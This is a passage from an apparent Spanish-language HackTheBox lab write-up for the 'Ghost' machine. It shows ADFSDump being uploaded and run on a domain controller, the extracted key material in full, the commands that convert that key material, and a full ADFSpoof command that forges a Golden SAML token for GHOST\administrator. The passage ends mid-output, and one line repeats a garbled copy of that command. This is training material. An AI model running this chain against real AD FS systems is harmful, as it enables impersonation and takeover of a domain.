.rw-rw-r-- kali kali  40 KB Fri Feb  7 21:49:08 2025 ๏…บ SharpMove.exe
.rw-rw-r-- kali kali 323 KB Fri Feb  7 21:49:08 2025 ๏…บ SharpRDP.exe
.rw-rw-r-- kali kali 1.1 MB Fri Feb  7 21:49:08 2025 ๏…บ SharpSCCM.exe
.rw-rw-r-- kali kali  44 KB Fri Feb  7 21:49:08 2025 ๏…บ SharpSQL.exe
.rw-rw-r-- kali kali 222 KB Fri Feb  7 21:49:08 2025 ๏…บ SimpleBackdoorAdmin.dll
.rw-rw-r-- kali kali 290 KB Fri Feb  7 21:49:08 2025 ๏…บ SimpleBackdoorAdmin.exe
.rw-rw-r-- kali kali 154 KB Fri Feb  7 21:49:08 2025 ๏…บ SpoolSample.exe
.rw-rw-r-- kali kali  44 KB Fri Feb  7 21:49:08 2025 ๏…บ Whisker.exe

Subiremos el ADFSDump.exe al DC y verificaremos que se encuentra correctamente en el equipo.

*Evil-WinRM* PS C:\ProgramData> upload ADFSDump.exe
                                        
Info: Uploading /home/kali/Desktop/HackTheBox/Windows/AD/Ghost/content/ADFSDump.exe to C:\ProgramData\ADFSDump.exe
                                        
Data: 305048 bytes of 305048 bytes copied
                                        
Info: Upload successful!

*Evil-WinRM* PS C:\ProgramData> ls


    Directory: C:\ProgramData


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         7/22/2024   9:55 AM                Microsoft
d-----         7/22/2024   9:55 AM                Package Cache
d-----         1/30/2024   7:09 PM                Packages
d-----         1/30/2024   7:19 PM                regid.1991-06.com.microsoft
d-----          5/8/2021   1:20 AM                SoftwareDistribution
d-----          5/8/2021   2:36 AM                ssh
d-----         1/30/2024   9:24 AM                USOPrivate
d-----          5/8/2021   1:20 AM                USOShared
d-----         1/30/2024   9:21 AM                VMware
-a----          2/7/2025  12:38 PM         228787 ADFSDump.exe

Al ejecutar el binario de ADFSDump.exe en el DC podemos observar los siguientes resultados.

  • Extracciรณn de la clave privada desde el almacenamiento de Active Directory:

    • Dominio: ghost.htb

    • Clave privada extraรญda:

      • FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7

      • 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

  • Lectura de la clave de firma encriptada desde la base de datos: La clave de firma encriptada fue extraรญda en base64 y tiene el siguiente formato:

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
  • Lectura de informaciรณn de confianza de usuario autenticado desde la base de datos Verificamos de la informaciรณn correspondiente al SAML el cual el EndPoint se encuentra en https://core.ghost.htb:8443/adfs/saml/postResponse

*Evil-WinRM* PS C:\ProgramData> .\ADFSDump.exe
	   ___    ____  ___________ ____
   /   |  / __ \/ ____/ ___// __ \__  ______ ___  ____
  / /| | / / / / /_   \__ \/ / / / / / / __ `__ \/ __ \
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / / / / / / /_/ /
/_/  |_/_____/_/    /____/_____/\__,_/_/ /_/ /_/ .___/
                                              /_/
Created by @doughsec


## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7


[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1


## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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
[-] Encrypted Token Signing Key End

[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My

## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
  <RequireFreshAuthentication>false</RequireFreshAuthentication>
  <IssuanceAuthorizationRules>
    <Rule>
      <Conditions>
        <Condition i:type="AlwaysCondition">
          <Operator>IsPresent</Operator>
        </Condition>
      </Conditions>
    </Rule>
  </IssuanceAuthorizationRules>
</PolicyMetadata>


    Access Policy Parameter:

    Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

Convertiremos el PFX y la Private Key en formato binario a travรฉs de los siguientes comandos.

โฏ cat token | base64 -d > EncryptedPfx.bin

โฏ echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' | tr -d '-' | xxd -r -p > dkmKey.bin

Instalaremos la herramienta de ADFSpoof paa creaciรณn del Golden SAML.

El comando ejecutado utiliza el script ADFSpoof.py para generar un ticket SAML manipulado, permitiendo la suplantaciรณn del usuario administrator en el dominio GHOST. Este ataque se realiza mediante la firma de un Golden Ticket.

Se especifica un archivo PFX cifrado (EncryptedPfx.bin) que contiene la clave privada de la entidad de seguridad, junto con una clave secreta (dkmKey.bin). El objetivo es el servidor core.ghost.htb, sobre el cual se apunta el ataque SAML.

El ticket generado contiene el formato transient para el NameID, indicando un identificador temporal para el usuario suplantado. Se definen las aserciones SAML que afirman que el usuario GHOST\administrator tiene privilegios de acceso, permitiendo el acceso al sistema como si fuera ese usuario.

Este ataque, al manipular los datos SAML, da la capacidad de acceder a servicios protegidos sin necesidad de credenciales reales del usuario.

LogoGitHub - mandiant/ADFSpoofGitHub
โฏ python3 ADFSpoof.py -b ../EncryptedPfx.bin ../dkmKey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST\administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOST\administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
dministrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOSTdministrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>' - Parrot Terminal    ___    ____  ___________                   ____
   /   |  / __ \/ ____/ ___/____  ____  ____  / __/
  / /| | / / / / /_   \__ \/ __ \/ __ \/ __ \/ /_  
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / /_/ / __/  
/_/  |_/_____/_/    /____/ .___/\____/\____/_/     
                        /_/                        

A tool to for AD FS security tokens
Created by @doughsec

